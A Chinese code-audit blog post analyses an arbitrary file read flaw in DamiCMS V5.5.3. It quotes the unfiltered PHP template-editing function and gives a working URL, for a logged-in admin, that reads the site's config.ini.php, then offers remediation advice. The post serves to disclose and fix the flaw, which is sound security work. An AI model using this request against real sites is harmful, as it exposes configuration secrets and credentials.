【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

时间:2021-12-06 08:43:21

 

0x00 环境准备

大米CMS官网:http://www.damicms.com

网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15)

程序源码下载:http://www.damicms.com/downes/dami.rar

测试网站首页:

【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

0x01 代码分析

1、漏洞文件位置:/Admin/Lib/Action/TplAction.class.php  第76-87行中:

  1. public function add()
  2. {
  3. $filename = dami_url_repalce(str_replace('*','.',trim($_GET['id'])));
  4. if (empty($filename))
  5. {
  6. $this->error('模板名称不能为空!');
  7. }
  8. $content = read_file($filename);
  9. $this->assign('filename',$filename);
  10. 10.     $this->assign('content',htmlspecialchars($content));
  11. 11.     $this->display('add');

12. }

这段编辑模板的函数中,首先对获取的参数进行替换,然后判断文件是否为空,接着带入read_file函数中执行,可以看到参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

0x02 漏洞利用

1、登录后台, 全局配置路径在\Public\Config\config.ini.php,通过构造URL读取全局配置文件内容。

http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php

【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

0x03 修复建议

1、指定文件读取目录,过滤.(点)等可能的恶意字符,防止目录跳转,最为推荐的方法;

2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析